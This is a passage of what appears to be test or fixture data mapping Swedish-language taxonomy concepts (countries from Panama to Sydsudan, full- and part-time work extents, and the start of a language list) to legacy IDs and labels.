'country', {'legacy_ams_taxonomy_id': '162', 'type': 'country', 'label': 'Panama', 'concept_id': 'knPC_Zwn_w2t', 'legacy_ams_taxonomy_num_id': 162}),
( {'type': 'country', 'id': 'VkNj_E4f_m93', 'preferred_label': 'Papua Nya Guinea', 'deprecated_legacy_id': '163'},
'country', {'legacy_ams_taxonomy_id': '163', 'type': 'country', 'label': 'Papua Nya Guinea', 'concept_id': 'VkNj_E4f_m93', 'legacy_ams_taxonomy_num_id': 163}),
( {'type': 'country', 'id': 'LRBs_ePE_o5F', 'preferred_label': 'Paraguay', 'deprecated_legacy_id': '164'},
'country', {'legacy_ams_taxonomy_id': '164', 'type': 'country', 'label': 'Paraguay', 'concept_id': 'LRBs_ePE_o5F', 'legacy_ams_taxonomy_num_id': 164}),
( {'type': 'country', 'id': 'qiLW_VZG_x3k', 'preferred_label': 'Peru', 'deprecated_legacy_id': '165'},
'country', {'legacy_ams_taxonomy_id': '165', 'type': 'country', 'label': 'Peru', 'concept_id': 'qiLW_VZG_x3k', 'legacy_ams_taxonomy_num_id': 165}),
( {'type': 'country', 'id': 'VJGs_3wz_vLw', 'preferred_label': 'Pitcairn', 'deprecated_legacy_id': '166'},
'country', {'legacy_ams_taxonomy_id': '166', 'type': 'country', 'label': 'Pitcairn', 'concept_id': 'VJGs_3wz_vLw', 'legacy_ams_taxonomy_num_id': 166}),
( {'type': 'country', 'id': 'EV41_7cy_jw7', 'preferred_label': 'Polen', 'deprecated_legacy_id': '167'},
'country', {'legacy_ams_taxonomy_id': '167', 'type': 'country', 'label': 'Polen', 'concept_id': 'EV41_7cy_jw7', 'legacy_ams_taxonomy_num_id': 167}),
( {'type': 'country', 'id': 'crVW_7oo_nLm', 'preferred_label': 'Portugal', 'deprecated_legacy_id': '168'},
'country', {'legacy_ams_taxonomy_id': '168', 'type': 'country', 'label': 'Portugal', 'concept_id': 'crVW_7oo_nLm', 'legacy_ams_taxonomy_num_id': 168}),
( {'type': 'country', 'id': 'SEbV_xRE_ZCF', 'preferred_label': 'Puerto Rico', 'deprecated_legacy_id': '169'},
'country', {'legacy_ams_taxonomy_id': '169', 'type': 'country', 'label': 'Puerto Rico', 'concept_id': 'SEbV_xRE_ZCF', 'legacy_ams_taxonomy_num_id': 169}),
( {'type': 'country', 'id': '76AC_UMd_YfA', 'preferred_label': 'Qatar', 'deprecated_legacy_id': '170'},
'country', {'legacy_ams_taxonomy_id': '170', 'type': 'country', 'label': 'Qatar', 'concept_id': '76AC_UMd_YfA', 'legacy_ams_taxonomy_num_id': 170}),
( {'type': 'country', 'id': '65UW_uMB_qMm', 'preferred_label': 'Reunion', 'deprecated_legacy_id': '171'},
'country', {'legacy_ams_taxonomy_id': '171', 'type': 'country', 'label': 'Reunion', 'concept_id': '65UW_uMB_qMm', 'legacy_ams_taxonomy_num_id': 171}),
( {'type': 'country', 'id': 't76b_fb1_WCi', 'preferred_label': 'Rumänien', 'deprecated_legacy_id': '172'},
'country', {'legacy_ams_taxonomy_id': '172', 'type': 'country', 'label': 'Rumänien', 'concept_id': 't76b_fb1_WCi', 'legacy_ams_taxonomy_num_id': 172}),
( {'type': 'country', 'id': '3Y4P_Upu_aWq', 'preferred_label': 'Rwanda', 'deprecated_legacy_id': '173'},
'country', {'legacy_ams_taxonomy_id': '173', 'type': 'country', 'label': 'Rwanda', 'concept_id': '3Y4P_Upu_aWq', 'legacy_ams_taxonomy_num_id': 173}),
( {'type': 'country', 'id': '24fF_htV_bs1', 'preferred_label': 'Ryssland/Ryska Federationen', 'deprecated_legacy_id': '174'},
'country', {'legacy_ams_taxonomy_id': '174', 'type': 'country', 'label': 'Ryssland/Ryska Federationen', 'concept_id': '24fF_htV_bs1', 'legacy_ams_taxonomy_num_id': 174}),
( {'type': 'country', 'id': 'taYQ_K5H_yRi', 'preferred_label': 'Saint Helena', 'deprecated_legacy_id': '175'},
'country', {'legacy_ams_taxonomy_id': '175', 'type': 'country', 'label': 'Saint Helena', 'concept_id': 'taYQ_K5H_yRi', 'legacy_ams_taxonomy_num_id': 175}),
( {'type': 'country', 'id': 'yrcR_Pps_5hd', 'preferred_label': 'Saint Kitts och Nevis', 'deprecated_legacy_id': '176'},
'country', {'legacy_ams_taxonomy_id': '176', 'type': 'country', 'label': 'Saint Kitts och Nevis', 'concept_id': 'yrcR_Pps_5hd', 'legacy_ams_taxonomy_num_id': 176}),
( {'type': 'country', 'id': 'Nq2U_CeR_qvC', 'preferred_label': 'Saint Lucia', 'deprecated_legacy_id': '177'},
'country', {'legacy_ams_taxonomy_id': '177', 'type': 'country', 'label': 'Saint Lucia', 'concept_id': 'Nq2U_CeR_qvC', 'legacy_ams_taxonomy_num_id': 177}),
( {'type': 'country', 'id': 'umJ8_fX9_XMg', 'preferred_label': 'Saint Pierre och Miquelon', 'deprecated_legacy_id': '178'},
'country', {'legacy_ams_taxonomy_id': '178', 'type': 'country', 'label': 'Saint Pierre och Miquelon', 'concept_id': 'umJ8_fX9_XMg', 'legacy_ams_taxonomy_num_id': 178}),
( {'type': 'country', 'id': 'avAF_tuR_8sR', 'preferred_label': 'Saint Vincent och Grenadinerna', 'deprecated_legacy_id': '179'},
'country', {'legacy_ams_taxonomy_id': '179', 'type': 'country', 'label': 'Saint Vincent och Grenadinerna', 'concept_id': 'avAF_tuR_8sR', 'legacy_ams_taxonomy_num_id': 179}),
( {'type': 'country', 'id': 'JWYP_wan_dVQ', 'preferred_label': 'Västsahara', 'deprecated_legacy_id': '180'},
'country', {'legacy_ams_taxonomy_id': '180', 'type': 'country', 'label': 'Västsahara', 'concept_id': 'JWYP_wan_dVQ', 'legacy_ams_taxonomy_num_id': 180}),
( {'type': 'country', 'id': 'hhAn_wpZ_8YQ', 'preferred_label': 'Salomonöarna', 'deprecated_legacy_id': '181'},
'country', {'legacy_ams_taxonomy_id': '181', 'type': 'country', 'label': 'Salomonöarna', 'concept_id': 'hhAn_wpZ_8YQ', 'legacy_ams_taxonomy_num_id': 181}),
( {'type': 'country', 'id': 'Kme6_ujn_tD4', 'preferred_label': 'San Marino', 'deprecated_legacy_id': '182'},
'country', {'legacy_ams_taxonomy_id': '182', 'type': 'country', 'label': 'San Marino', 'concept_id': 'Kme6_ujn_tD4', 'legacy_ams_taxonomy_num_id': 182}),
( {'type': 'country', 'id': 'CpWu_dFG_Lw3', 'preferred_label': 'São Tomé och Príncipe', 'deprecated_legacy_id': '183'},
'country', {'legacy_ams_taxonomy_id': '183', 'type': 'country', 'label': 'São Tomé och Príncipe', 'concept_id': 'CpWu_dFG_Lw3', 'legacy_ams_taxonomy_num_id': 183}),
( {'type': 'country', 'id': 'nKbk_boM_G1U', 'preferred_label': 'Saudiarabien', 'deprecated_legacy_id': '184'},
'country', {'legacy_ams_taxonomy_id': '184', 'type': 'country', 'label': 'Saudiarabien', 'concept_id': 'nKbk_boM_G1U', 'legacy_ams_taxonomy_num_id': 184}),
( {'type': 'country', 'id': 'Q78b_oCw_Yq2', 'preferred_label': 'Schweiz', 'deprecated_legacy_id': '185'},
'country', {'legacy_ams_taxonomy_id': '185', 'type': 'country', 'label': 'Schweiz', 'concept_id': 'Q78b_oCw_Yq2', 'legacy_ams_taxonomy_num_id': 185}),
( {'type': 'country', 'id': 'XWA9_zm8_DJu', 'preferred_label': 'Senegal', 'deprecated_legacy_id': '186'},
'country', {'legacy_ams_taxonomy_id': '186', 'type': 'country', 'label': 'Senegal', 'concept_id': 'XWA9_zm8_DJu', 'legacy_ams_taxonomy_num_id': 186}),
( {'type': 'country', 'id': '6UUy_rcP_KSp', 'preferred_label': 'Seychellerna', 'deprecated_legacy_id': '187'},
'country', {'legacy_ams_taxonomy_id': '187', 'type': 'country', 'label': 'Seychellerna', 'concept_id': '6UUy_rcP_KSp', 'legacy_ams_taxonomy_num_id': 187}),
( {'type': 'country', 'id': 'f8JX_cnY_7vt', 'preferred_label': 'Sierra Leone', 'deprecated_legacy_id': '188'},
'country', {'legacy_ams_taxonomy_id': '188', 'type': 'country', 'label': 'Sierra Leone', 'concept_id': 'f8JX_cnY_7vt', 'legacy_ams_taxonomy_num_id': 188}),
( {'type': 'country', 'id': 'TJLA_9GT_Wm8', 'preferred_label': 'Singapore', 'deprecated_legacy_id': '189'},
'country', {'legacy_ams_taxonomy_id': '189', 'type': 'country', 'label': 'Singapore', 'concept_id': 'TJLA_9GT_Wm8', 'legacy_ams_taxonomy_num_id': 189}),
( {'type': 'country', 'id': 'zu3V_aT3_KzE', 'preferred_label': 'Slovakien', 'deprecated_legacy_id': '190'},
'country', {'legacy_ams_taxonomy_id': '190', 'type': 'country', 'label': 'Slovakien', 'concept_id': 'zu3V_aT3_KzE', 'legacy_ams_taxonomy_num_id': 190}),
( {'type': 'country', 'id': 'UGMH_x68_T6m', 'preferred_label': 'Slovenien', 'deprecated_legacy_id': '191'},
'country', {'legacy_ams_taxonomy_id': '191', 'type': 'country', 'label': 'Slovenien', 'concept_id': 'UGMH_x68_T6m', 'legacy_ams_taxonomy_num_id': 191}),
( {'type': 'country', 'id': '1WZA_XkL_92R', 'preferred_label': 'Somalia', 'deprecated_legacy_id': '192'},
'country', {'legacy_ams_taxonomy_id': '192', 'type': 'country', 'label': 'Somalia', 'concept_id': '1WZA_XkL_92R', 'legacy_ams_taxonomy_num_id': 192}),
( {'type': 'country', 'id': 'bN7k_4ka_YGQ', 'preferred_label': 'Spanien', 'deprecated_legacy_id': '193'},
'country', {'legacy_ams_taxonomy_id': '193', 'type': 'country', 'label': 'Spanien', 'concept_id': 'bN7k_4ka_YGQ', 'legacy_ams_taxonomy_num_id': 193}),
( {'type': 'country', 'id': 'pQK1_3Gn_hPg', 'preferred_label': 'Sri Lanka', 'deprecated_legacy_id': '194'},
'country', {'legacy_ams_taxonomy_id': '194', 'type': 'country', 'label': 'Sri Lanka', 'concept_id': 'pQK1_3Gn_hPg', 'legacy_ams_taxonomy_num_id': 194}),
( {'type': 'country', 'id': '7wHq_Mri_wCt', 'preferred_label': 'Storbritannien och Nordirland', 'deprecated_legacy_id': '195'},
'country', {'legacy_ams_taxonomy_id': '195', 'type': 'country', 'label': 'Storbritannien och Nordirland', 'concept_id': '7wHq_Mri_wCt', 'legacy_ams_taxonomy_num_id': 195}),
( {'type': 'country', 'id': 'xjRk_KwZ_FSx', 'preferred_label': 'Sudan', 'deprecated_legacy_id': '196'},
'country', {'legacy_ams_taxonomy_id': '196', 'type': 'country', 'label': 'Sudan', 'concept_id': 'xjRk_KwZ_FSx', 'legacy_ams_taxonomy_num_id': 196}),
( {'type': 'country', 'id': 'xDZc_yza_2Tn', 'preferred_label': 'Surinam', 'deprecated_legacy_id': '197'},
'country', {'legacy_ams_taxonomy_id': '197', 'type': 'country', 'label': 'Surinam', 'concept_id': 'xDZc_yza_2Tn', 'legacy_ams_taxonomy_num_id': 197}),
( {'type': 'country', 'id': '8gs6_Na1_VVw', 'preferred_label': 'Svalbard och <NAME>', 'deprecated_legacy_id': '198'},
'country', {'legacy_ams_taxonomy_id': '198', 'type': 'country', 'label': 'Svalbard och Jan Mayen', 'concept_id': '8gs6_Na1_VVw', 'legacy_ams_taxonomy_num_id': 198}),
( {'type': 'country', 'id': 'i46j_HmG_v64', 'preferred_label': 'Sverige', 'deprecated_legacy_id': '199'},
'country', {'legacy_ams_taxonomy_id': '199', 'type': 'country', 'label': 'Sverige', 'concept_id': 'i46j_HmG_v64', 'legacy_ams_taxonomy_num_id': 199}),
( {'type': 'country', 'id': '8uqC_JpJ_cbM', 'preferred_label': 'Swaziland', 'deprecated_legacy_id': '200'},
'country', {'legacy_ams_taxonomy_id': '200', 'type': 'country', 'label': 'Swaziland', 'concept_id': '8uqC_JpJ_cbM', 'legacy_ams_taxonomy_num_id': 200}),
( {'type': 'country', 'id': '8TSL_ZL7_E5p', 'preferred_label': 'Sydafrika', 'deprecated_legacy_id': '201'},
'country', {'legacy_ams_taxonomy_id': '201', 'type': 'country', 'label': 'Sydafrika', 'concept_id': '8TSL_ZL7_E5p', 'legacy_ams_taxonomy_num_id': 201}),
( {'type': 'country', 'id': 'KRyt_Bj8_vWZ', 'preferred_label': 'Sydgeorgien och Södra Sandwichöarna', 'deprecated_legacy_id': '202'},
'country', {'legacy_ams_taxonomy_id': '202', 'type': 'country', 'label': 'Sydgeorgien och Södra Sandwichöarna', 'concept_id': 'KRyt_Bj8_vWZ', 'legacy_ams_taxonomy_num_id': 202}),
( {'type': 'country', 'id': 'Vkhm_P1M_BzE', 'preferred_label': 'Syrien', 'deprecated_legacy_id': '203'},
'country', {'legacy_ams_taxonomy_id': '203', 'type': 'country', 'label': 'Syrien', 'concept_id': 'Vkhm_P1M_BzE', 'legacy_ams_taxonomy_num_id': 203}),
( {'type': 'country', 'id': 'MdqM_dHv_9Rd', 'preferred_label': 'Tadzjikistan', 'deprecated_legacy_id': '204'},
'country', {'legacy_ams_taxonomy_id': '204', 'type': 'country', 'label': 'Tadzjikistan', 'concept_id': 'MdqM_dHv_9Rd', 'legacy_ams_taxonomy_num_id': 204}),
( {'type': 'country', 'id': 'HdNx_QfU_ALG', 'preferred_label': 'Taiwan', 'deprecated_legacy_id': '205'},
'country', {'legacy_ams_taxonomy_id': '205', 'type': 'country', 'label': 'Taiwan', 'concept_id': 'HdNx_QfU_ALG', 'legacy_ams_taxonomy_num_id': 205}),
( {'type': 'country', 'id': 'A1hv_Ljz_fUi', 'preferred_label': 'Tanzania', 'deprecated_legacy_id': '206'},
'country', {'legacy_ams_taxonomy_id': '206', 'type': 'country', 'label': 'Tanzania', 'concept_id': 'A1hv_Ljz_fUi', 'legacy_ams_taxonomy_num_id': 206}),
( {'type': 'country', 'id': 'xscm_4AC_j8o', 'preferred_label': 'Tchad', 'deprecated_legacy_id': '207'},
'country', {'legacy_ams_taxonomy_id': '207', 'type': 'country', 'label': 'Tchad', 'concept_id': 'xscm_4AC_j8o', 'legacy_ams_taxonomy_num_id': 207}),
( {'type': 'country', 'id': 'Sxx2_SZe_Krs', 'preferred_label': 'Thailand', 'deprecated_legacy_id': '208'},
'country', {'legacy_ams_taxonomy_id': '208', 'type': 'country', 'label': 'Thailand', 'concept_id': 'Sxx2_SZe_Krs', 'legacy_ams_taxonomy_num_id': 208}),
( {'type': 'country', 'id': '7qR2_55U_iyh', 'preferred_label': 'Tjeckien', 'deprecated_legacy_id': '209'},
'country', {'legacy_ams_taxonomy_id': '209', 'type': 'country', 'label': 'Tjeckien', 'concept_id': '7qR2_55U_iyh', 'legacy_ams_taxonomy_num_id': 209}),
( {'type': 'country', 'id': 'yD6Z_Jiw_xm2', 'preferred_label': 'Togo', 'deprecated_legacy_id': '210'},
'country', {'legacy_ams_taxonomy_id': '210', 'type': 'country', 'label': 'Togo', 'concept_id': 'yD6Z_Jiw_xm2', 'legacy_ams_taxonomy_num_id': 210}),
( {'type': 'country', 'id': 'ywtd_6fW_Eue', 'preferred_label': 'Tokelau', 'deprecated_legacy_id': '211'},
'country', {'legacy_ams_taxonomy_id': '211', 'type': 'country', 'label': 'Tokelau', 'concept_id': 'ywtd_6fW_Eue', 'legacy_ams_taxonomy_num_id': 211}),
( {'type': 'country', 'id': 'd6ce_nB8_LaP', 'preferred_label': 'Tonga', 'deprecated_legacy_id': '212'},
'country', {'legacy_ams_taxonomy_id': '212', 'type': 'country', 'label': 'Tonga', 'concept_id': 'd6ce_nB8_LaP', 'legacy_ams_taxonomy_num_id': 212}),
( {'type': 'country', 'id': 'WyNg_Ae1_hWd', 'preferred_label': 'Trinidad och Tobago', 'deprecated_legacy_id': '213'},
'country', {'legacy_ams_taxonomy_id': '213', 'type': 'country', 'label': 'Trinidad och Tobago', 'concept_id': 'WyNg_Ae1_hWd', 'legacy_ams_taxonomy_num_id': 213}),
( {'type': 'country', 'id': 'oCfK_4fN_DEE', 'preferred_label': 'Tunisien', 'deprecated_legacy_id': '214'},
'country', {'legacy_ams_taxonomy_id': '214', 'type': 'country', 'label': 'Tunisien', 'concept_id': 'oCfK_4fN_DEE', 'legacy_ams_taxonomy_num_id': 214}),
( {'type': 'country', 'id': 'YpWA_xv7_Qmr', 'preferred_label': 'Turkiet', 'deprecated_legacy_id': '215'},
'country', {'legacy_ams_taxonomy_id': '215', 'type': 'country', 'label': 'Turkiet', 'concept_id': 'YpWA_xv7_Qmr', 'legacy_ams_taxonomy_num_id': 215}),
( {'type': 'country', 'id': 'gUPX_Q1E_aNc', 'preferred_label': 'Turkmenistan', 'deprecated_legacy_id': '216'},
'country', {'legacy_ams_taxonomy_id': '216', 'type': 'country', 'label': 'Turkmenistan', 'concept_id': 'gUPX_Q1E_aNc', 'legacy_ams_taxonomy_num_id': 216}),
( {'type': 'country', 'id': 'dHjg_a8H_kHA', 'preferred_label': 'Turks- och Caicosöarna', 'deprecated_legacy_id': '217'},
'country', {'legacy_ams_taxonomy_id': '217', 'type': 'country', 'label': 'Turks- och Caicosöarna', 'concept_id': 'dHjg_a8H_kHA', 'legacy_ams_taxonomy_num_id': 217}),
( {'type': 'country', 'id': 'eSp2_gR8_EBG', 'preferred_label': 'Tuvalu', 'deprecated_legacy_id': '218'},
'country', {'legacy_ams_taxonomy_id': '218', 'type': 'country', 'label': 'Tuvalu', 'concept_id': 'eSp2_gR8_EBG', 'legacy_ams_taxonomy_num_id': 218}),
( {'type': 'country', 'id': 'G3M7_959_8Pp', 'preferred_label': 'Tyskland', 'deprecated_legacy_id': '219'},
'country', {'legacy_ams_taxonomy_id': '219', 'type': 'country', 'label': 'Tyskland', 'concept_id': 'G3M7_959_8Pp', 'legacy_ams_taxonomy_num_id': 219}),
( {'type': 'country', 'id': 'GwGd_ukJ_qsx', 'preferred_label': 'Förenta staterna (Amerikas förenta stater)', 'deprecated_legacy_id': '220'},
'country', {'legacy_ams_taxonomy_id': '220', 'type': 'country', 'label': 'Förenta staterna (Amerikas förenta stater)', 'concept_id': 'GwGd_ukJ_qsx', 'legacy_ams_taxonomy_num_id': 220}),
( {'type': 'country', 'id': 'VXZG_btz_6N3', 'preferred_label': 'Uganda', 'deprecated_legacy_id': '221'},
'country', {'legacy_ams_taxonomy_id': '221', 'type': 'country', 'label': 'Uganda', 'concept_id': 'VXZG_btz_6N3', 'legacy_ams_taxonomy_num_id': 221}),
( {'type': 'country', 'id': 'GmdR_egb_EWJ', 'preferred_label': 'Ukraina', 'deprecated_legacy_id': '222'},
'country', {'legacy_ams_taxonomy_id': '222', 'type': 'country', 'label': 'Ukraina', 'concept_id': 'GmdR_egb_EWJ', 'legacy_ams_taxonomy_num_id': 222}),
( {'type': 'country', 'id': 'QWsJ_QBW_vGb', 'preferred_label': 'Ungern', 'deprecated_legacy_id': '223'},
'country', {'legacy_ams_taxonomy_id': '223', 'type': 'country', 'label': 'Ungern', 'concept_id': 'QWsJ_QBW_vGb', 'legacy_ams_taxonomy_num_id': 223}),
( {'type': 'country', 'id': 'QAsK_uc2_8yJ', 'preferred_label': 'Uruguay', 'deprecated_legacy_id': '224'},
'country', {'legacy_ams_taxonomy_id': '224', 'type': 'country', 'label': 'Uruguay', 'concept_id': 'QAsK_uc2_8yJ', 'legacy_ams_taxonomy_num_id': 224}),
( {'type': 'country', 'id': 'TAAP_kv5_V6g', 'preferred_label': 'Uzbekistan', 'deprecated_legacy_id': '225'},
'country', {'legacy_ams_taxonomy_id': '225', 'type': 'country', 'label': 'Uzbekistan', 'concept_id': 'TAAP_kv5_V6g', 'legacy_ams_taxonomy_num_id': 225}),
( {'type': 'country', 'id': 'm2x5_LAT_X2t', 'preferred_label': 'Vanuatu', 'deprecated_legacy_id': '226'},
'country', {'legacy_ams_taxonomy_id': '226', 'type': 'country', 'label': 'Vanuatu', 'concept_id': 'm2x5_LAT_X2t', 'legacy_ams_taxonomy_num_id': 226}),
( {'type': 'country', 'id': 'DDSg_45a_2Qi', 'preferred_label': 'Heliga stolen (Vatikanstaten)', 'deprecated_legacy_id': '227'},
'country', {'legacy_ams_taxonomy_id': '227', 'type': 'country', 'label': 'Heliga stolen (Vatikanstaten)', 'concept_id': 'DDSg_45a_2Qi', 'legacy_ams_taxonomy_num_id': 227}),
( {'type': 'country', 'id': '2YeU_EST_ykA', 'preferred_label': 'Venezuela', 'deprecated_legacy_id': '228'},
'country', {'legacy_ams_taxonomy_id': '228', 'type': 'country', 'label': 'Venezuela', 'concept_id': '2YeU_EST_ykA', 'legacy_ams_taxonomy_num_id': 228}),
( {'type': 'country', 'id': '7RXF_Wx9_mfY', 'preferred_label': 'Vietnam', 'deprecated_legacy_id': '229'},
'country', {'legacy_ams_taxonomy_id': '229', 'type': 'country', 'label': 'Vietnam', 'concept_id': '7RXF_Wx9_mfY', 'legacy_ams_taxonomy_num_id': 229}),
( {'type': 'country', 'id': '9QXG_KJN_ZVN', 'preferred_label': 'Vitryssland', 'deprecated_legacy_id': '230'},
'country', {'legacy_ams_taxonomy_id': '230', 'type': 'country', 'label': 'Vitryssland', 'concept_id': '9QXG_KJN_ZVN', 'legacy_ams_taxonomy_num_id': 230}),
( {'type': 'country', 'id': 'PpbT_Psw_2Qy', 'preferred_label': 'Jemen', 'deprecated_legacy_id': '232'},
'country', {'legacy_ams_taxonomy_id': '232', 'type': 'country', 'label': 'Jemen', 'concept_id': 'PpbT_Psw_2Qy', 'legacy_ams_taxonomy_num_id': 232}),
( {'type': 'country', 'id': 'buDY_D5p_DAc', 'preferred_label': 'Zambia', 'deprecated_legacy_id': '234'},
'country', {'legacy_ams_taxonomy_id': '234', 'type': 'country', 'label': 'Zambia', 'concept_id': 'buDY_D5p_DAc', 'legacy_ams_taxonomy_num_id': 234}),
( {'type': 'country', 'id': 'K2Kh_K4w_NLF', 'preferred_label': 'Zimbabwe', 'deprecated_legacy_id': '235'},
'country', {'legacy_ams_taxonomy_id': '235', 'type': 'country', 'label': 'Zimbabwe', 'concept_id': 'K2Kh_K4w_NLF', 'legacy_ams_taxonomy_num_id': 235}),
( {'type': 'country', 'id': 'uZex_hVg_jPf', 'preferred_label': 'Österrike', 'deprecated_legacy_id': '236'},
'country', {'legacy_ams_taxonomy_id': '236', 'type': 'country', 'label': 'Österrike', 'concept_id': 'uZex_hVg_jPf', 'legacy_ams_taxonomy_num_id': 236}),
( {'type': 'country', 'id': 'nziP_X84_aBA', 'preferred_label': 'Östtimor', 'deprecated_legacy_id': '237'},
'country', {'legacy_ams_taxonomy_id': '237', 'type': 'country', 'label': 'Östtimor', 'concept_id': 'nziP_X84_aBA', 'legacy_ams_taxonomy_num_id': 237}),
( {'type': 'country', 'id': 'Yfec_Cw6_Ejz', 'preferred_label': 'Kongo, demokratiska republiken', 'deprecated_legacy_id': '238'},
'country', {'legacy_ams_taxonomy_id': '238', 'type': 'country', 'label': 'Kongo, demokratiska republiken', 'concept_id': 'Yfec_Cw6_Ejz', 'legacy_ams_taxonomy_num_id': 238}),
( {'type': 'country', 'id': 'qi2S_K8c_Kn6', 'preferred_label': 'Nordmakedonien', 'deprecated_legacy_id': '239'},
'country', {'legacy_ams_taxonomy_id': '239', 'type': 'country', 'label': 'Nordmakedonien', 'concept_id': 'qi2S_K8c_Kn6', 'legacy_ams_taxonomy_num_id': 239}),
( {'type': 'country', 'id': 'qrQX_cxS_t7P', 'preferred_label': 'Palestina', 'deprecated_legacy_id': '240'},
'country', {'legacy_ams_taxonomy_id': '240', 'type': 'country', 'label': 'Palestina', 'concept_id': 'qrQX_cxS_t7P', 'legacy_ams_taxonomy_num_id': 240}),
( {'type': 'country', 'id': 'G7zY_fB5_zg4', 'preferred_label': 'Wallis och Futuna', 'deprecated_legacy_id': '241'},
'country', {'legacy_ams_taxonomy_id': '241', 'type': 'country', 'label': 'Wallis och Futuna', 'concept_id': 'G7zY_fB5_zg4', 'legacy_ams_taxonomy_num_id': 241}),
( {'type': 'country', 'id': 'nFvs_pbn_aia', 'preferred_label': 'Angola', 'deprecated_legacy_id': '242'},
'country', {'legacy_ams_taxonomy_id': '242', 'type': 'country', 'label': 'Angola', 'concept_id': 'nFvs_pbn_aia', 'legacy_ams_taxonomy_num_id': 242}),
( {'type': 'country', 'id': 'WNSF_XBA_piV', 'preferred_label': 'Franska Guyana', 'deprecated_legacy_id': '243'},
'country', {'legacy_ams_taxonomy_id': '243', 'type': 'country', 'label': 'Franska Guyana', 'concept_id': 'WNSF_XBA_piV', 'legacy_ams_taxonomy_num_id': 243}),
( {'type': 'country', 'id': 'K6sm_uW6_Lch', 'preferred_label': 'Samoa', 'deprecated_legacy_id': '244'},
'country', {'legacy_ams_taxonomy_id': '244', 'type': 'country', 'label': 'Samoa', 'concept_id': 'K6sm_uW6_Lch', 'legacy_ams_taxonomy_num_id': 244}),
( {'type': 'country', 'id': 'amTW_Ebm_ejQ', 'preferred_label': 'Serbien', 'deprecated_legacy_id': '245'},
'country', {'legacy_ams_taxonomy_id': '245', 'type': 'country', 'label': 'Serbien', 'concept_id': 'amTW_Ebm_ejQ', 'legacy_ams_taxonomy_num_id': 245}),
( {'type': 'country', 'id': 'bUNp_6HW_Vbn', 'preferred_label': 'Åland (tillhör Finland)', 'deprecated_legacy_id': '246'},
'country', {'legacy_ams_taxonomy_id': '246', 'type': 'country', 'label': 'Åland (tillhör Finland)', 'concept_id': 'bUNp_6HW_Vbn', 'legacy_ams_taxonomy_num_id': 246}),
( {'type': 'country', 'id': '5zrc_Su8_X4D', 'preferred_label': 'Guernsey', 'deprecated_legacy_id': '247'},
'country', {'legacy_ams_taxonomy_id': '247', 'type': 'country', 'label': 'Guernsey', 'concept_id': '5zrc_Su8_X4D', 'legacy_ams_taxonomy_num_id': 247}),
( {'type': 'country', 'id': 'BApY_3G4_Nsb', 'preferred_label': 'Isle of Man', 'deprecated_legacy_id': '248'},
'country', {'legacy_ams_taxonomy_id': '248', 'type': 'country', 'label': 'Isle of Man', 'concept_id': 'BApY_3G4_Nsb', 'legacy_ams_taxonomy_num_id': 248}),
( {'type': 'country', 'id': 'ihaN_Ru8_mPg', 'preferred_label': 'Jersey', 'deprecated_legacy_id': '249'},
'country', {'legacy_ams_taxonomy_id': '249', 'type': 'country', 'label': 'Jersey', 'concept_id': 'ihaN_Ru8_mPg', 'legacy_ams_taxonomy_num_id': 249}),
( {'type': 'country', 'id': 'vZtV_pRR_Evp', 'preferred_label': 'Montenegro', 'deprecated_legacy_id': '250'},
'country', {'legacy_ams_taxonomy_id': '250', 'type': 'country', 'label': 'Montenegro', 'concept_id': 'vZtV_pRR_Evp', 'legacy_ams_taxonomy_num_id': 250}),
( {'type': 'country', 'id': 'iJho_QUP_eaC', 'preferred_label': 'Kosovo', 'deprecated_legacy_id': '251'},
'country', {'legacy_ams_taxonomy_id': '251', 'type': 'country', 'label': 'Kosovo', 'concept_id': 'iJho_QUP_eaC', 'legacy_ams_taxonomy_num_id': 251}),
( {'type': 'country', 'id': 'tNTV_qrs_awt', 'preferred_label': 'Saint Barthélemy', 'deprecated_legacy_id': '252'},
'country', {'legacy_ams_taxonomy_id': '252', 'type': 'country', 'label': 'Saint Barthélemy', 'concept_id': 'tNTV_qrs_awt', 'legacy_ams_taxonomy_num_id': 252}),
( {'type': 'country', 'id': 'Ynjj_eeN_fM6', 'preferred_label': 'Saint Martin (franska delen)', 'deprecated_legacy_id': '253'},
'country', {'legacy_ams_taxonomy_id': '253', 'type': 'country', 'label': 'Saint Martin (franska delen)', 'concept_id': 'Ynjj_eeN_fM6', 'legacy_ams_taxonomy_num_id': 253}),
( {'type': 'country', 'id': 'CSwg_jk9_P5S', 'preferred_label': 'Bonaire, Sint Eustatius och Saba', 'deprecated_legacy_id': '254'},
'country', {'legacy_ams_taxonomy_id': '254', 'type': 'country', 'label': 'Bonaire, Sint Eustatius och Saba', 'concept_id': 'CSwg_jk9_P5S', 'legacy_ams_taxonomy_num_id': 254}),
( {'type': 'country', 'id': 'XPvX_7KR_UsM', 'preferred_label': 'Curaçao', 'deprecated_legacy_id': '255'},
'country', {'legacy_ams_taxonomy_id': '255', 'type': 'country', 'label': 'Curaçao', 'concept_id': 'XPvX_7KR_UsM', 'legacy_ams_taxonomy_num_id': 255}),
( {'type': 'country', 'id': 'sGcM_zCn_iGQ', 'preferred_label': 'Sint Maarten (nederländska delen)', 'deprecated_legacy_id': '256'},
'country', {'legacy_ams_taxonomy_id': '256', 'type': 'country', 'label': 'Sint Maarten (nederländska delen)', 'concept_id': 'sGcM_zCn_iGQ', 'legacy_ams_taxonomy_num_id': 256}),
( {'type': 'country', 'id': 'aqxj_t1i_SxL', 'preferred_label': 'Sydsudan', 'deprecated_legacy_id': '257'},
'country', {'legacy_ams_taxonomy_id': '257', 'type': 'country', 'label': 'Sydsudan', 'concept_id': 'aqxj_t1i_SxL', 'legacy_ams_taxonomy_num_id': 257}),
( {'type': 'worktime-extent', 'id': '6YE1_gAC_R2G', 'preferred_label': 'Heltid', 'deprecated_legacy_id': '1'},
'worktime-extent', {'legacy_ams_taxonomy_id': '1', 'type': 'worktime-extent', 'label': 'Heltid', 'concept_id': '6YE1_gAC_R2G', 'legacy_ams_taxonomy_num_id': 1}),
( {'type': 'worktime-extent', 'id': '947z_JGS_Uk2', 'preferred_label': 'Deltid', 'deprecated_legacy_id': '2'},
'worktime-extent', {'legacy_ams_taxonomy_id': '2', 'type': 'worktime-extent', 'label': 'Deltid', 'concept_id': '947z_JGS_Uk2', 'legacy_ams_taxonomy_num_id': 2}),
( {'type': 'language', 'id': '5vWL_41L_udS', 'preferred_label': 'Afar', 'deprecated_legacy_id': '239'},
'language', {'legacy_ams_taxonomy_id': '239', 'type': 'language', 'label': 'Afar', 'concept_id': '5vWL_41L_udS', 'legacy_ams_taxonomy_num_id': 239}),
( {'type': 'language', 'id': 'vitY_dty_VbD', 'preferred_label': 'Afrikaans', 'deprecated_legacy_id': '240'},
